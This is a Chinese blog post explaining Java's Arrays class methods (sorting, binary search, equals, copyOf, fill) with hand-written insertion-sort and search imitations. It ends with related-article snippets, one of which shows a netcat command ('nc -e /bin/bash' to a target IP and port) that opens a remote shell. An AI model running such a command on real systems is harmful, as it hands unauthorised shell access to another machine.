Javase补充-Arrays类的常用方法汇总
文章目录
- 一 . 排序方法
- 二 . 查找方法
- 三 . 判断是否相等的方法
- 四 . 拷贝方法
- 五 . 填充方法
一 . 排序方法
我们第一个要介绍的就是sort方法

这个排序实现的底层逻辑应该是十分复杂的,以我们目前的水平体系应该无法理解,我们今天尝试用我们可以理解的一种排序算法,插入排序来模拟一下这个排序的实现
public static void swap(int[] arr,int i,int j){if(i == j){return;}arr[i] = arr[i] ^ arr[j];arr[j] = arr[i] ^ arr[j];arr[i] = arr[i] ^ arr[j];}public static void insertSort(int[] arr) {if(arr == null || arr.length == 0){System.out.println("您的数组无法进行排序操作");return;}for (int i = 1; i < arr.length; i++) {for(int j = i; j > 0; --j){if(arr[j] < arr[j-1]){swap(arr,j,j-1);}}}}
我们第二个要介绍的是一种局部排序的方法

我们可以看到这个方法里面有三个参数,一个是arr(待排序的数组),一个是fromIndex,一个是toIndex,也就是从什么时候开始,和从什么时候结束,值得一提的是,我们java中这种定区间的方法一般是左闭右开,所以如果fromIndex==toIndex,也就是不进行数组的排序,…下面我们继续尝试用插入排序算法来模拟一下
public static void insertSortOfRange(int[] arr,int fromIndex,int toIndex){//这个是我们的限制条件if(arr == null || arr.length == 0){System.out.println("您的数组无法进行排序操作");return;}else if(fromIndex > toIndex){System.out.println("起始位置还能比结束位置大???");return;}else if((fromIndex < 0 || fromIndex >= arr.length)||(toIndex < 0 || toIndex > arr.length)){System.out.println("数组下标越界...");return;}//下面才是真正的代码实现for(int i = fromIndex+1; i < toIndex; ++i){for(int j = i; j > fromIndex; --j){if(arr[j] < arr[j-1]){swap(arr,j,j-1);}}}}
public static void swap(int[] arr,int i,int j){if(i == j){return;}arr[i] = arr[i] ^ arr[j];arr[j] = arr[i] ^ arr[j];arr[i] = arr[i] ^ arr[j];}
这里我们的技术可能还是不到位,不知道会不会出现什么bug
其实Arrays库里面还有好多sort方法的重载…这里也可以看出来方法重载的重要性…
其实Arrays类里面还提供了一个parallelSort方法,该方法的基本使用与sort方法是一致的,但是底层实现可能不同

下面是网上关于两种方法区别:
这是sort方法

这是parallelSort方法

范围检查方法 :
刚才我们在进行用插入排序来模拟sort方法的指定访问的时候,进行了范围的检查,实际上我们的Arrays类已经提供了一个进行范围检查的方法,如果你进行一些指定范围的原码的查看,你会发现都在调用这个方法

二 . 查找方法
我们目前的知识储备学过顺序查找,就是一个一个查找,时间复杂度为O(n),还有一个二分查找,时间复杂度是O(log2N),二分查找的效率要远大于顺序查找,我们Arrays类已经帮我们提供了一个二分查找的方法

原码其实也很简单,应该很好理解…
模拟一下
public static int binary(int[] arr,int key){int left = 0;int rigth = arr.length - 1;int mid;while(left <= rigth){mid = left + ((rigth - left)>>>1);if(arr[mid] < key) {left = mid + 1;}else if(arr[mid] > key) {rigth = mid - 1;}else{return mid;}}return -1;}
三 . 判断是否相等的方法
这个判断是否相等的方法也就是我们要介绍的equals方法

我们来简单的分析
首先当a == a2时,也就是二者引用同一块堆空间的时候,直接返回true
这个包括两者都是null的情况
其次就是如果其中一个为null,另外一个不是就返回false
然后又调用了一个方法对其他一般的情况进行判断…
下面我们来尝试模拟以下这个方法
public static boolean myEquals(int[] a,int[] a1){if(a == a1){return true;}if(a == null || a1 == null){return false;}if(a.length != a1.length){return false;}for(int i = 0; i <a.length; ++i){if(a[i] != a1[i]){return false;}}return true;}
判断局部相等的方法

这个我们就不进行模拟了…
四 . 拷贝方法
下面我们介绍两种方案来完成数组的拷贝
基础的for循环就不说了,过于基础了
基础库方法copyOf的分析:
下面是库函数的介绍
下面是函数的模拟
public static int[] myCopyOf(int[] a,int newLength){//下面是一些判断的条件if(a == null){throw new RuntimeException("您的数组都没引用,咋拷贝啊");}else if(newLength < 0){throw new RuntimeException("新长度还能是负数?");}int[] arrCopy = new int[newLength];if(newLength <= a.length){for(int i = 0; i < newLength; ++i){arrCopy[i] = a[i];}}else if(newLength > a.length){for(int i = 0; i < a.length; ++i){arrCopy[i] = a[i];}}return arrCopy;}
注意,该库方法是用arraycopy方法来实现的

可以看到这个方法前面有native修饰,这就说明底层使用C/C++语言来实现的
同样的这个方法也有相应的范围方法
五 . 填充方法

这个方法比较简单没什么可说的…也不用再模拟了,已经告诉你实现的方案了,同时也有指定范围填充的方法

这一节我们应该会持续的更新,再不断学习Java的过程中不断完善相关Arrays类方法的分析与总结…
相关文章:
Javase补充-Arrays类的常用方法汇总
文章目录 一 . 排序方法二 . 查找方法三 . 判断是否相等的方法四 . 拷贝方法五 . 填充方法 一 . 排序方法 我们第一个要介绍的就是sort方法 这个排序实现的底层逻辑应该是十分复杂的,以我们目前的水平体系应该无法理解,我们今天尝试用我们可以理解的一种排序算法,插入排序来模…...
微信小程序-人脸检测-眨眼驱动ESP32蓝牙设备灯
前面2篇文章已经写了具体的人脸检测和蓝牙 这里直接结合,只列js 代码,剩下的其他代码在另外文章里面 https://blog.csdn.net/walle167/article/details/136261993 https://blog.csdn.net/walle167/article/details/136261919 上代码 import bleBehavior …...
怎么在wifi中实现手机和电脑文件互传
有时我们想手机电脑文件互传,数据线却不在身边,这时我们可以用MiXplorer来实现wifi中手机和电脑互相访问文件。 MiXplorer是一款来自著名安卓开发者论坛XDA的作品,免费且功能强大,被很多人誉为是“全能文件管理器”。 1.在手机上…...
07 STL 简介
目录 什么是STLSTL的版本STL的六大组件STL的重要性如何学习STLSTL的缺陷 1. 什么是STL c标准库的重要组成部分,不仅是一个可复用的组件库,而且是一个包罗数据结构和算法的软件框架 2. STL的版本 原始版本 Alexander Stepanov、Meng Lee在惠普实验室的…...
unity学习(39)——创建(create)角色脚本(panel)——静态(static)
1.发现一个非常实用的功能,点击unity中console的输出项,可以直接跳转到vs的代码页! 2.static类(变量)有三个特点: (1)独一份(2)无法实例化。(3&…...
MacOS环境下用powerline配置Terminal终端
Powerline 简介及安装配置 Powerline 是一个 stateless 状态栏,也就是一个全局状态/提示栏。你可以将其配置到你的 bash、Terminal、iTerm2 或 VIM 中,效果会如下所示: 你的 Mac 终端提示栏将会呈现如下图所示: 你的 VIM 状态…...
liunx单机项目部署
文章目录 1.liunx简介2.liunx的jdk安装2.liunx的tomcat安装3.liunx的mysql安装4.单机项目部署 1.liunx简介 Linux,一般指GNU/Linux(单独的Linux内核并不可直接使用,一般搭配GNU套件,故得此称呼),是一种免费…...
SQL 中如何实现多表关联查询?
阅读本文之前请参阅----MySQL 数据库安装教程详解(linux系统和windows系统) 在SQL中,多表关联查询是通过使用JOIN操作来实现的,它允许你从两个或多个表中根据相关列的值来检索数据。以下是几种常见的JOIN类型: …...
oracle 设置权限 禁止删除用户
在Oracle中,可以通过修改系统角色来控制用户的操作权限。要禁止删除用户,需要将DROP USER这个特定的系统权限从相应的角色中移除。 下面是一种常见的方法,使用SQL语句进行操作: -- 创建新的角色,并为其分配所有必要的…...
港科夜闻|香港科大计划建立北部都会区卫星校园完善科大创新带,发展未来创新科技 未来医药发展及跨学科教育...
关注并星标 每周阅读港科夜闻 建立新视野 开启新思维 1、香港科大计划建立北部都会区卫星校园完善“科大创新带”,发展未来创新科技、未来医药发展及跨学科教育。香港科大校长叶玉如教授在2月22日的媒体会议上表示,香港科大将在北部都会区建立卫星校园&a…...
linux反弹shell简单使用
一、反弹shell(NC正向反弹) 1、靶机开启监听端口 格式: nc -lvvp [任意未占用的端口号] 例: nc -lvvp [8080] 2、攻击机将shell弹到靶机上 格式: nc -e /bin/bash [靶机ip] [靶机监听端口] 例: nc -e /bin…...
前后端分离Vue+nodejs校园论坛bbs系统x450z
开发语言 node.js 框架:Express 前端:Vue.js 数据库:mysql 数据库工具:Navicat 开发软件:VScode本论文拟采用计算机技术设计并开发的论坛bbs系统,主要是为用户提供服务。使得用户可以在系统上查看帖子信息、签到积分等…...
ChatGPT的能力边界在哪?
ChatGPT在今天被热炒,主要的原因不是因为它能和人聊天,或者能帮助人做作业。其实做作业这件事它做得并不好,虽然有些中学和大学的问题它能够解决,但是对于绝大部分问题,它给出的答案都是车轱辘话。 那ChatGPT被热炒的…...
Sentinel微服务流量治理组件实战下
目录 Sentinel控制台介绍 实时监控 簇点链路 流控规则 限流阈值类型 流控模式 流控效果 熔断降级规则 熔断策略之慢调用比例 熔断策略之异常比例 熔断策略之异常数 热点规则 系统规则——系统自适应保护 系统规则阈值类型 授权控制规则——来源访问控制…...
vue+node.js美食分享推荐管理系统 io551
,本系统采用了 MySQL数据库的架构,在开始这项工作前,首先要设计好要用到的数据库表。该系统的使用者有二类:管理员和用户,主要功能包括个人信息修改,用户、美食类型、美食信息、订单信息、美食分享、课程大…...
云原生超融合八大核心能力|ZStack Edge云原生超融合产品技术解读
企业数字化转型的焦点正在发生变化,云基础设施由资源到应用,数据中心从核心到边缘。面向云原生趋势,围绕应用升级,新一代超融合产品——云原生超融合应运而生。 ZStackEdge云原生超融合是基于云原生架构研发的新一代IT基础设施 …...
认识K8S
K8S K8S 的全称为 Kubernetes (K12345678S) 是一个跨主机容器编排工具 作用 用于自动部署、扩展和管理“容器化(containerized)应用程序”的开源系统。 可以理解成 K8S 是负责自动化运维管理多个容器化程序(比如 Docker)的集群…...
K8S-001-Virtual box - Network Config
A. 配置两个IP, 一个连接内网,一个链接外网: 1. 内网配置(Host only, 不同的 virutal box 的版本可以不一样,这些窗口可能在不同的地方,但是配置的内容是一样的): 静态IP 动态IP 2. 外网(创建一个 Networ…...
ShardingSphere5.x 分库分表
一、shardingSphere介绍 1、官网:Apache ShardingSphere 2、开发文档: 概览 :: ShardingSphere 3、shardingsphere-jdbc ShardingSphere-JDBC 定位为轻量级 Java 框架,在 Java 的 JDBC 层提供的额外服务。 它使用客户端直连数据库&#x…...
cmake 项目。qt5升级 qt6 报错 error: “Qt requires a C++17 compiler 已解决
日常项目开发中。需要对qt5升级到qt6 做cmake兼容配置,在编译中发现,有c 编译环境 报错 2>C:\Qt\6.5.3\msvc2019_64\include\QtCore/qcompilerdetection.h(1226,1): fatal error C1189: #error: "Qt requires a C17 compiler, and a suitable …...
微信小程序之bind和catch
这两个呢,都是绑定事件用的,具体使用有些小区别。 官方文档: 事件冒泡处理不同 bind:绑定的事件会向上冒泡,即触发当前组件的事件后,还会继续触发父组件的相同事件。例如,有一个子视图绑定了b…...
mongodb源码分析session执行handleRequest命令find过程
mongo/transport/service_state_machine.cpp已经分析startSession创建ASIOSession过程,并且验证connection是否超过限制ASIOSession和connection是循环接受客户端命令,把数据流转换成Message,状态转变流程是:State::Created 》 St…...
五年级数学知识边界总结思考-下册
目录 一、背景二、过程1.观察物体小学五年级下册“观察物体”知识点详解:由来、作用与意义**一、知识点核心内容****二、知识点的由来:从生活实践到数学抽象****三、知识的作用:解决实际问题的工具****四、学习的意义:培养核心素养…...
工程地质软件市场:发展现状、趋势与策略建议
一、引言 在工程建设领域,准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具,正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...
微信小程序 - 手机震动
一、界面 <button type"primary" bindtap"shortVibrate">短震动</button> <button type"primary" bindtap"longVibrate">长震动</button> 二、js逻辑代码 注:文档 https://developers.weixin.qq…...
srs linux
下载编译运行 git clone https:///ossrs/srs.git ./configure --h265on make 编译完成后即可启动SRS # 启动 ./objs/srs -c conf/srs.conf # 查看日志 tail -n 30 -f ./objs/srs.log 开放端口 默认RTMP接收推流端口是1935,SRS管理页面端口是8080,可…...
第25节 Node.js 断言测试
Node.js的assert模块主要用于编写程序的单元测试时使用,通过断言可以提早发现和排查出错误。 稳定性: 5 - 锁定 这个模块可用于应用的单元测试,通过 require(assert) 可以使用这个模块。 assert.fail(actual, expected, message, operator) 使用参数…...
华为OD机试-食堂供餐-二分法
import java.util.Arrays; import java.util.Scanner;public class DemoTest3 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseint a in.nextIn…...
C# 类和继承(抽象类)
抽象类 抽象类是指设计为被继承的类。抽象类只能被用作其他类的基类。 不能创建抽象类的实例。抽象类使用abstract修饰符声明。 抽象类可以包含抽象成员或普通的非抽象成员。抽象类的成员可以是抽象成员和普通带 实现的成员的任意组合。抽象类自己可以派生自另一个抽象类。例…...
CMake 从 GitHub 下载第三方库并使用
有时我们希望直接使用 GitHub 上的开源库,而不想手动下载、编译和安装。 可以利用 CMake 提供的 FetchContent 模块来实现自动下载、构建和链接第三方库。 FetchContent 命令官方文档✅ 示例代码 我们将以 fmt 这个流行的格式化库为例,演示如何: 使用 FetchContent 从 GitH…...
